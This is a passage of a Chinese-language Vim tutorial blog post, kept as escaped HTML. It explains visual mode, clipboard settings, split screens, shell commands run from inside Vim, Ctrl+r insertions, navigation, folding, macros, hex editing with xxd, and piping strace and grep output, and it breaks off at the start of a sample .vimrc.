title=\"Visual模式\"\u003e\u003c/a\u003eVisual模式\u003c/h3\u003e\u003cp\u003eVim的使用场景一般都是SSH连接到无头服务器上。那种情况一般没有GUI,也没有鼠标。难道就不能像在Windows里一样用鼠标拖拽选择文字了?仍然可以,借助V模式即可。\u003c/p\u003e\u003cp\u003eV模式,也就是可视化模式,在按\u003ccode\u003eESC\u003c/code\u003e退出编辑模式后,按\u003ccode\u003ev\u003c/code\u003e即可进入。此时,状态栏会显示\u003ccode\u003e--VISUAL--\u003c/code\u003e,这时用方向键/HJKL移动光标则会从当前位置“拖拽”选择文字,并且此时也一样支持\u003ccode\u003egg/G\u003c/code\u003e、\u003ccode\u003e:n\u003c/code\u003e、\u003ccode\u003en+方向键/HJKL\u003c/code\u003e来快速移动光标。此时再按一次\u003ccode\u003ev\u003c/code\u003e即可退出V模式。\u003c/p\u003e\u003cp\u003e进入V模式后,选择了需要编辑的内容之后,使用\u003ccode\u003ex\u003c/code\u003e可以剪切被框选的内容,\u003ccode\u003ey\u003c/code\u003e则可以复制区域内容,用\u003ccode\u003ep\u003c/code\u003e可以粘贴内容并覆盖所选区域;除此之外,\u003cstrong\u003e用\u003ccode\u003e\u0026#34;+y\u003c/code\u003e则可以复制内容到系统剪贴板\u003c/strong\u003e,\u003cstrong\u003e用\u003ccode\u003e\u0026#34;+p\u003c/code\u003e可以从系统剪贴板粘贴\u003c/strong\u003e。注意这快捷键前的双引号是必须的。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003e如果需要多次复制粘贴内容,需要在\u003ccode\u003e~/.vimrc\u003c/code\u003e添加如下配置来直接同步系统剪贴板和Vim剪贴板:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026gt;set clipboard=unnamedplus\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/blockquote\u003e\u003cp\u003e借助V模式,不用鼠标也能选取文字、复制粘贴。更详细的用法可以阅读Vim的help手册。\u003c/p\u003e\u003ch3 id=\"分屏与文件浏览\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E5%88%86%E5%B1%8F%E4%B8%8E%E6%96%87%E4%BB%B6%E6%B5%8F%E8%A7%88\" class=\"headerlink\" title=\"分屏与文件浏览\"\u003e\u003c/a\u003e分屏与文件浏览\u003c/h3\u003e\u003cp\u003e使用vim时,用\u003ccode\u003evim [filename]\u003c/code\u003e就可以打开/创建并编辑一个文件,不过\u003ccode\u003efilename\u003c/code\u003e也可以是目录名称,这样就会用vim内置的文件管理器打开目标目录。这个模式使用起来很简单,上下键移动光标,回车键确认。\u003c/p\u003e\u003cp\u003e分屏也是一个实用操作,不过学了tmux之后我就不怎么用vim的分屏操作了。\u003c/p\u003e\u003cp\u003e核心快捷键只有两组:\u003ccode\u003eCtrl+w,h/v\u003c/code\u003e和\u003ccode\u003eCtrl+w,h/j/k/l\u003c/code\u003e。第一组是分屏,\u003ccode\u003eh\u003c/code\u003e表示水平分屏,\u003ccode\u003ev\u003c/code\u003e表示垂直分屏。第二组快捷键表示在各个分屏中移动,\u003ccode\u003eh/j/k/l\u003c/code\u003e和vim默认模式的含义一样,表示向左/下/上/右移动。\u003c/p\u003e\u003cp\u003e另外,也可以通过\u003ccode\u003e:sp/vsp [filename]\u003c/code\u003e来水平/垂直分屏并打开名为\u003ccode\u003efilename\u003c/code\u003e的文件。\u003c/p\u003e\u003cp\u003e关闭分屏和关闭文件一样,选择当前分屏,用\u003ccode\u003e:q/wq(!)\u003c/code\u003e和\u003ccode\u003eZZ\u003c/code\u003e都可以退出(并保存)当前文件。\u003c/p\u003e\u003ch3 id=\"命令模式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E5%91%BD%E4%BB%A4%E6%A8%A1%E5%BC%8F\" class=\"headerlink\" title=\"命令模式\"\u003e\u003c/a\u003e命令模式\u003c/h3\u003e\u003cp\u003e在vim中也能直接和CLI交互,使用\u003ccode\u003e:![command]\u003c/code\u003e即可。其中,\u003ccode\u003e%\u003c/code\u003e表示当前文件的文件名。通过这个方法,我们可以快速调试单文件程序,例如:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e:w \u003cspan class=\"comment\"\u003e# 一定记得先保存当前文件再编译\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e:!gcc % \u0026amp;\u0026amp; ./a.out\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e在命令模式输入上述代码,即可编译并运行当前文件。同时,命令模式也支持上下键回溯历史命令。\u003c/p\u003e\u003cp\u003e编写脚本时,借助它能够快速验证/执行脚本。\u003c/p\u003e\u003ch3 id=\"Ctrl-r\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#Ctrl-r\" class=\"headerlink\" title=\"Ctrl+r\"\u003e\u003c/a\u003eCtrl+r\u003c/h3\u003e\u003cp\u003e这是一个常用的插入快捷键,用于在insert模式下插入各种内容。下面用\u003ccode\u003e\u0026lt;C-r\u0026gt;\u003c/code\u003e表示\u003ccode\u003eCtrl+r\u003c/code\u003e。\u003c/p\u003e\u003ch4 id=\"插入寄存器中的内容\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E6%8F%92%E5%85%A5%E5%AF%84%E5%AD%98%E5%99%A8%E4%B8%AD%E7%9A%84%E5%86%85%E5%AE%B9\" class=\"headerlink\" title=\"插入寄存器中的内容\"\u003e\u003c/a\u003e插入寄存器中的内容\u003c/h4\u003e\u003cp\u003e在vim中,寄存器用于存储文本。您可以使用以下命令将寄存器中的内容插入到当前位置:\u003c/p\u003e\u003cfigure class=\"highlight vim\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"symbol\"\u003e\u0026lt;C-r\u0026gt;\u003c/span\u003e{register}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e{register}\u003c/code\u003e是要插入内容的寄存器名。例如,\u003ccode\u003e\u0026lt;C-r\u0026gt;0\u003c/code\u003e将插入0号寄存器中的内容。\u003c/p\u003e\u003ch4 id=\"插入表达式的结果\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E6%8F%92%E5%85%A5%E8%A1%A8%E8%BE%BE%E5%BC%8F%E7%9A%84%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"插入表达式的结果\"\u003e\u003c/a\u003e插入表达式的结果\u003c/h4\u003e\u003cp\u003e您可以使用以下命令将表达式的结果插入到当前位置:\u003c/p\u003e\u003cfigure class=\"highlight vim\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"symbol\"\u003e\u0026lt;C-r\u0026gt;\u003c/span\u003e= {expression} \u003cspan class=\"symbol\"\u003e\u0026lt;CR\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e其中,\u003ccode\u003e{expression}\u003c/code\u003e是要求值的表达式。例如,\u003ccode\u003e\u0026lt;C-r\u0026gt;=2+2\u0026lt;CR\u0026gt;\u003c/code\u003e将在当前位置插入“4”,\u003ccode\u003e\u0026lt;C-r\u0026gt;=strftime(\u0026#39;%c\u0026#39;)\u0026lt;CR\u0026gt;\u003c/code\u003e可以插入当前日期。\u003c/p\u003e\u003ch4 id=\"插入文件名\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E6%8F%92%E5%85%A5%E6%96%87%E4%BB%B6%E5%90%8D\" class=\"headerlink\" title=\"插入文件名\"\u003e\u003c/a\u003e插入文件名\u003c/h4\u003e\u003cp\u003e如果您希望将文件名插入到当前位置,可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight vim\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"symbol\"\u003e\u0026lt;C-r\u0026gt;\u003c/span\u003e%\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这将在当前位置插入当前文件的名称。\u003c/p\u003e\u003ch4 id=\"插入上一次插入的文本\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E6%8F%92%E5%85%A5%E4%B8%8A%E4%B8%80%E6%AC%A1%E6%8F%92%E5%85%A5%E7%9A%84%E6%96%87%E6%9C%AC\" class=\"headerlink\" title=\"插入上一次插入的文本\"\u003e\u003c/a\u003e插入上一次插入的文本\u003c/h4\u003e\u003cp\u003e如果您需要在插入模式下重新插入上一次插入的文本,可以使用以下命令:\u003c/p\u003e\u003cfigure class=\"highlight vim\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"symbol\"\u003e\u0026lt;C-r\u0026gt;\u003c/span\u003e\u003cspan class=\"comment\"\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这将在当前位置插入最后一次插入的文本。\u003c/p\u003e\u003ch3 id=\"高效编辑\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E9%AB%98%E6%95%88%E7%BC%96%E8%BE%91\" class=\"headerlink\" title=\"高效编辑\"\u003e\u003c/a\u003e高效编辑\u003c/h3\u003e\u003cp\u003e这一部分比较杂,包含一些快捷操作。\u003c/p\u003e\u003ch4 id=\"插入删除\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E6%8F%92%E5%85%A5%E5%88%A0%E9%99%A4\" class=\"headerlink\" title=\"插入删除\"\u003e\u003c/a\u003e插入删除\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003ex\u003c/code\u003e 删除当前字符\u003c/li\u003e\u003cli\u003e\u003ccode\u003ei\u003c/code\u003e 在光标前插入\u003c/li\u003e\u003cli\u003e\u003ccode\u003ea\u003c/code\u003e 在光标后插入\u003c/li\u003e\u003cli\u003e\u003ccode\u003eo\u003c/code\u003e 在当前行后另起一行插入\u003c/li\u003e\u003cli\u003e\u003ccode\u003eO\u003c/code\u003e 在当前行前另起一行插入\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"快速跳转\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E5%BF%AB%E9%80%9F%E8%B7%B3%E8%BD%AC\" class=\"headerlink\" title=\"快速跳转\"\u003e\u003c/a\u003e快速跳转\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e:[line number]\u003c/code\u003e 快速跳转到目标行号\u003c/li\u003e\u003cli\u003e\u003ccode\u003ew\u003c/code\u003e 向后跳转一个单词\u003c/li\u003e\u003cli\u003e\u003ccode\u003egg\u003c/code\u003e 跳转到全文开头,\u003ccode\u003eG\u003c/code\u003e 跳转到全文末\u003c/li\u003e\u003cli\u003e\u003ccode\u003e0\u003c/code\u003e 跳转到当前行初,\u003ccode\u003e$\u003c/code\u003e 跳转到当前行末\u003c/li\u003e\u003cli\u003e\u003ccode\u003e/[keyword]\u003c/code\u003e 搜索并跳转到\u003ccode\u003ekeyword\u003c/code\u003e处,\u003ccode\u003en\u003c/code\u003e 继续向后搜索,\u003ccode\u003eN\u003c/code\u003e 向前搜索\u003c/li\u003e\u003cli\u003e\u003ccode\u003en+h/j/k/l\u003c/code\u003e 向前/下/上/后跳转n单位\u003c/li\u003e\u003cli\u003e\u003ccode\u003ectrl+i\u003c/code\u003e 跳转到上一个历史位置\u003c/li\u003e\u003cli\u003e\u003ccode\u003ectrl+o\u003c/code\u003e 跳转到下一个历史位置\u003c/li\u003e\u003cli\u003e\u003ccode\u003egi\u003c/code\u003e 跳转到上一次编辑的位置\u003c/li\u003e\u003cli\u003e\u003ccode\u003e[number]G\u003c/code\u003e 跳转到第\u003ccode\u003enumber\u003c/code\u003e行,和\u003ccode\u003e:number\u003c/code\u003e效果一样\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e除了上面那些操作,Vim还提供了很多移动功能。比如浏览一些可以折叠的代码块时,可以用下面的命令展开和折叠:\u003c/p\u003e\u003cfigure class=\"highlight vim\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ezM \u003cspan class=\"comment\"\u003e\u0026#34;折叠代码块\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ezf[n]G \u003cspan class=\"comment\"\u003e\u0026#34;折叠当前行到第n行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ezE \u003cspan class=\"comment\"\u003e\u0026#34;删除所有的折叠标签(被折叠的区域会有大括号作为提示)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ezR \u003cspan class=\"comment\"\u003e\u0026#34;展开代码块\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这部分的内容,详细可以看Vim的帮助文档。输入\u003ccode\u003e:h Folding\u003c/code\u003e即可查看。\u003c/p\u003e\u003ch4 id=\"复制粘贴\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E5%A4%8D%E5%88%B6%E7%B2%98%E8%B4%B4\" class=\"headerlink\" title=\"复制粘贴\"\u003e\u003c/a\u003e复制粘贴\u003c/h4\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003edd\u003c/code\u003e 删除当前行,\u003ccode\u003endd\u003c/code\u003e 删除从当前行往后的n行,\u003ccode\u003edn+h/l\u003c/code\u003e 删除光标前/后n个字符\u003c/li\u003e\u003cli\u003e\u003ccode\u003eyy\u003c/code\u003e 复制当前行,\u003ccode\u003enyy\u003c/code\u003e 复制从当前行往后的n行,\u003ccode\u003eyn+h/l\u003c/code\u003e 复制光标前/后n个字符\u003c/li\u003e\u003cli\u003e\u003ccode\u003ep\u003c/code\u003e 粘贴复制的内容\u003c/li\u003e\u003c/ul\u003e\u003ch4 id=\"重复操作(宏)\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E9%87%8D%E5%A4%8D%E6%93%8D%E4%BD%9C%EF%BC%88%E5%AE%8F%EF%BC%89\" class=\"headerlink\" title=\"重复操作(宏)\"\u003e\u003c/a\u003e重复操作(宏)\u003c/h4\u003e\u003cp\u003e这是Vim中最强大的功能之一。在处理较多数据的时候,真的能节省大量的时间。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eq+[letter]\u003c/code\u003e 进入操作记录模式,随后除了 \u003ccode\u003eq\u003c/code\u003e的所有按键都会被记录\u003c/li\u003e\u003cli\u003e\u003ccode\u003eq\u003c/code\u003e 退出操作录制模式并保存之前的操作到\u003ccode\u003eletter\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003e@[letter]\u003c/code\u003e 重复录制的操作,\u003ccode\u003en@[letter]\u003c/code\u003e 重复n次录制的操作\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e举个例子吧。比如我想删掉每行行末的两个字符,我就可以这么用:\u003c/p\u003e\u003cfigure class=\"highlight vim\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eEsc+gg \u003cspan class=\"comment\"\u003e\u0026#34;跳转到开头\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eqq \u003cspan class=\"comment\"\u003e\u0026#34;开始录制宏到q中\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$,xx,\u003cspan class=\"keyword\"\u003ej\u003c/span\u003e \u003cspan class=\"comment\"\u003e\u0026#34;逗号表示隔开的操作。它表示先跳转到行末,然后删除两个字符,再跳到下一行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eq \u003cspan class=\"comment\"\u003e\u0026#34;停止并保存宏到q\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这样就完成录制了。随后移动光标到你编辑的起始位置,并输入\u003ccode\u003en@q\u003c/code\u003e来批量操作,其中的\u003ccode\u003en\u003c/code\u003e表示你需要重复操作的次数。\u003c/p\u003e\u003cp\u003e随后,欣赏魔法吧(雾\u003c/p\u003e\u003cp\u003e在录制宏的时候,尽量用相对定位,例如\u003ccode\u003e0\u003c/code\u003e和\u003ccode\u003e$\u003c/code\u003e(行首和行末),同时尽量先确认操作是能达到效果的,不然自动机乱飞就不好玩了(其实误操作也能用\u003ccode\u003eu\u003c/code\u003e救回来\u003c/p\u003e\u003ch3 id=\"Bin编辑\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#Bin%E7%BC%96%E8%BE%91\" class=\"headerlink\" title=\"Bin编辑\"\u003e\u003c/a\u003eBin编辑\u003c/h3\u003e\u003cp\u003e用\u003ccode\u003eEsc+:\u003c/code\u003e进入命令模式后,输入\u003ccode\u003e%!xxd\u003c/code\u003e就可以用二进制模式查看文件。\u003c/p\u003e\u003cp\u003e要返回正常模式,只需要输入\u003ccode\u003e%!xxd -r\u003c/code\u003e即可返回。\u003c/p\u003e\u003cblockquote\u003e\u003cp\u003ejyy好强(\u003c/p\u003e\u003c/blockquote\u003e\u003ch3 id=\"输出重定向到Vim\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E8%BE%93%E5%87%BA%E9%87%8D%E5%AE%9A%E5%90%91%E5%88%B0Vim\" class=\"headerlink\" title=\"输出重定向到Vim\"\u003e\u003c/a\u003e输出重定向到Vim\u003c/h3\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003estrace -f gcc a.c |\u0026amp; vim -\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的管道符将\u003ccode\u003estrace\u003c/code\u003e的输出(\u003ccode\u003estdin\u003c/code\u003e)重定向到了Vim中,便于我们查看和编辑。\u003c/p\u003e\u003ch3 id=\"Vim-grep\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#Vim-grep\" class=\"headerlink\" title=\"Vim+grep\"\u003e\u003c/a\u003eVim+grep\u003c/h3\u003e\u003cp\u003e在Vim命令模式中可以这样使用grep:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e:%!grep execve \u003cspan class=\"comment\"\u003e# 提取出含有execve的行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e:%!grep -v ENOENT \u003cspan class=\"comment\"\u003e# 过滤掉含有ENOENT的行\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这对buffer中的数据调用命令行进行处理,并替换(?)Vim Buffer中的内容。实质上和上面的Bin编辑类似(?)。\u003c/p\u003e\u003ch3 id=\"范式\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#%E8%8C%83%E5%BC%8F\" class=\"headerlink\" title=\"范式\"\u003e\u003c/a\u003e范式\u003c/h3\u003e\u003cp\u003e\u003ccode\u003e.\u003c/code\u003e命令会\u003cstrong\u003e重复上次修改\u003c/strong\u003e,而查找命令(无论是\u003ccode\u003e/+n\u003c/code\u003e还是\u003ccode\u003ef+;\u003c/code\u003e)可以快速移动到下一个匹配位置。一个理想的Vim范式,就是使用一个命令修改,另一个命令移动\u0026gt;.\u003c/p\u003e\u003ch2 id=\"0x03-配置文件\"\u003e\u003ca href=\"https://xeonds.github.io/2021/06/19/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%BC%80%E5%8F%91%E5%B7%A5%E5%85%B7/Vim%E4%BD%BF%E7%94%A8%E6%8C%87%E5%8C%97/#0x03-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6\" class=\"headerlink\" title=\"0x03.配置文件\"\u003e\u003c/a\u003e0x03.配置文件\u003c/h2\u003e\u003cp\u003e一般指的是用户目录下的\u003ccode\u003e.vimrc\u003c/code\u003e文件。Vim启动时会自动读取并加载它。它的内容主要包含Vim设置项,自定义函数等。\u003c/p\u003e\u003cp\u003e下面是一份示例配置文件。\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan 